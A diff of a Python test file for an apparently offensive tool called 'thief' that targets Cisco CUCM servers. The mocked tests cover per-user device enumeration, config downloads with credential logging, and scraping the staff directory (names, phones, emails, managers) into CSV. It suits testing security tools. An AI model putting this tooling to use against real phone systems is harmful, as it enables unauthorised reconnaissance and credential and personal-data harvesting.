"cucm.example.com", "alice", "pw", port=8443) - assert status == "ok" - # base-endpoint SEP first, then /devices SEP, no duplicates - assert devices == ["SEP001122334455", "SEPAABBCCDDEEFF"] - called = [c.args[0] for c in mock_get.call_args_list] - assert "https://cucm.example.com:8443/cucm-uds/user/alice" in called - assert "https://cucm.example.com:8443/cucm-uds/user/alice/devices" in called - - -def test_get_user_devices_authenticated_ok_when_only_devices_endpoint_authorized(): - base_resp = MagicMock(status_code=401, text="") - devices_resp = MagicMock(status_code=200, text=UDS_DEVICE_COLLECTION_XML) - - def side_effect(url, **kwargs): - return devices_resp if url.endswith('/devices') else base_resp - - with patch.object(thief.requests, 'get', side_effect=side_effect): - status, devices = thief.get_user_devices_authenticated( - "cucm.example.com", "alice", "pw", port=8443) - assert status == "ok" - assert devices == ["SEP001122334455", "SEP667788990011"] - - -def test_get_user_devices_authenticated_ok_when_only_base_endpoint_authorized(): - base_resp = MagicMock(status_code=200, text=UDS_USER_XML) - devices_resp = MagicMock(status_code=401, text="") - - def side_effect(url, **kwargs): - return devices_resp if url.endswith('/devices') else base_resp - - with patch.object(thief.requests, 'get', side_effect=side_effect): - status, devices = thief.get_user_devices_authenticated( - "cucm.example.com", "alice", "pw", port=8443) - assert status == "ok" - assert devices == ["SEP001122334455", "SEP667788990011"] - - -def test_get_user_devices_authenticated_unauthorized_only_when_neither_ok(): - resp401 = MagicMock(status_code=401, text="") - with patch.object(thief.requests, 'get', return_value=resp401): - status, devices = thief.get_user_devices_authenticated( - "cucm.example.com", "alice", "pw", port=8443) - assert status == "unauthorized" - assert devices == [] - - -def test_get_user_devices_authenticated_error_when_both_fail(): - with patch.object(thief.requests, 'get', - side_effect=requests.exceptions.ConnectTimeout("boom")): - status, devices = thief.get_user_devices_authenticated( - "cucm.example.com", "alice", "pw", port=8443) - assert status == "error" - assert devices == [] - - -def test_get_user_devices_authenticated_dedups_same_sep_from_both(): - base_resp = MagicMock(status_code=200, - text="SEP001122334455") - devices_resp = MagicMock(status_code=200, - text="SEP001122334455") - - def side_effect(url, **kwargs): - return devices_resp if url.endswith('/devices') else base_resp - - with patch.object(thief.requests, 'get', side_effect=side_effect): - status, devices = thief.get_user_devices_authenticated( - "cucm.example.com", "alice", "pw", port=8443) - assert status == "ok" - assert devices == ["SEP001122334455"] - - # --------------------------------------------------------------------------- # enumerate_devices_unauthenticated # --------------------------------------------------------------------------- @@ -477,68 +275,6 @@ def test_download_uds_discovered_configs_no_db_skips_credential_logging(db_path, assert logged == [] # but never touches the DB -# --------------------------------------------------------------------------- -# enumerate_devices_authenticated -# --------------------------------------------------------------------------- - -def test_enumerate_devices_authenticated_collects_per_user_and_tallies(db_path): - def fake_probe(cucm_host, username, password, port, target_user): - if target_user == "alice": - return "ok", ["SEP001122334455"] - if target_user == "bob": - return "unauthorized", [] - return "error", [] - - result = thief.enumerate_devices_authenticated( - "cucm.example.com", "alice", "pw", 8443, - ["alice", "bob", "carol"], db_path, threads=3, - _probe_fn=fake_probe, - ) - assert result["devices"] == {"alice": ["SEP001122334455"]} - assert result["ok"] == 1 - assert result["denied"] == 1 - assert result["errors"] == 1 - - -def test_enumerate_devices_authenticated_logs_devices_with_uds_auth_source(db_path): - def fake_probe(cucm_host, username, password, port, target_user): - return ("ok", ["SEP001122334455"]) if target_user == "alice" else ("ok", []) - - thief.enumerate_devices_authenticated( - "cucm.example.com", "alice", "pw", 8443, - ["alice", "bob"], db_path, threads=2, - _probe_fn=fake_probe, - ) - rows = _rows(db_path, "SELECT username, device_name, source FROM uds_devices") - assert ("alice", "SEP001122334455", "uds_auth") in rows - - -def test_enumerate_devices_authenticated_no_db_skips_logging(db_path): - def fake_probe(cucm_host, username, password, port, target_user): - return "ok", ["SEP001122334455"] - - thief.enumerate_devices_authenticated( - "cucm.example.com", "alice", "pw", 8443, - ["alice"], db_path, threads=1, no_db=True, - _probe_fn=fake_probe, - ) - rows = _rows(db_path, "SELECT COUNT(*) FROM uds_devices") - assert rows[0][0] == 0 - - -def test_enumerate_devices_authenticated_ok_with_no_devices_counts_ok_only(db_path): - def fake_probe(cucm_host, username, password, port, target_user): - return "ok", [] - - result = thief.enumerate_devices_authenticated( - "cucm.example.com", "alice", "pw", 8443, - ["alice"], db_path, threads=1, - _probe_fn=fake_probe, - ) - assert result["ok"] == 1 - assert result["devices"] == {} - - # --------------------------------------------------------------------------- # _iter_uds_user_pages (shared pagination) # --------------------------------------------------------------------------- @@ -567,10 +303,13 @@ def side_effect(url, **kwargs): uuid-alice alice Alice + Ally Smith Alice Smith 1001 + 5551234 alice@corp.example + alice@corp.example Finance Analyst bob @@ -587,10 +326,12 @@ def test_parse_uds_directory_extracts_all_fields(): records = thief.parse_uds_directory(UDS_DIRECTORY_XML) assert records[0] == { "username": "alice", "first_name": "Alice", "middle_name": "", - "last_name": "Smith", "display_name": "Alice Smith", + "nick_name": "Ally", "last_name": "Smith", "display_name": "Alice Smith", "phone_number": "1001", "home_number": "", "mobile_number": "", - "email": "alice@corp.example", "ms_uri": "", "department": "Finance", - "title": "Analyst", "manager": "bob", "user_id": "uuid-alice", + "pager": "5551234", "email": "alice@corp.example", + "directory_uri": "alice@corp.example", "ms_uri": "", + "department": "Finance", "title": "Analyst", "manager": "bob", + "user_id": "uuid-alice", } @@ -688,10 +429,10 @@ def test_export_directory_to_csv_writes_header_and_rows(tmp_path): thief.export_directory_to_csv(recs, str(out)) text = out.read_text() lines = text.strip().splitlines() - assert lines[0] == ("username,first_name,last_name,display_name,phone_number," - "home_number,mobile_number,email,ms_uri,department,title," - "manager,user_id") - assert lines[1].startswith("alice,Alice,Smith,Alice Smith,1001,") + assert lines[0] == ("username,first_name,middle_name,nick_name,last_name," + "display_name,phone_number,home_number,mobile_number,pager," + "email,directory_uri,ms_uri,department,title,manager,user_id") + assert lines[1].startswith("alice,Alice,,,Smith,Alice Smith,1001,") assert "alice@corp.example" in lines[1]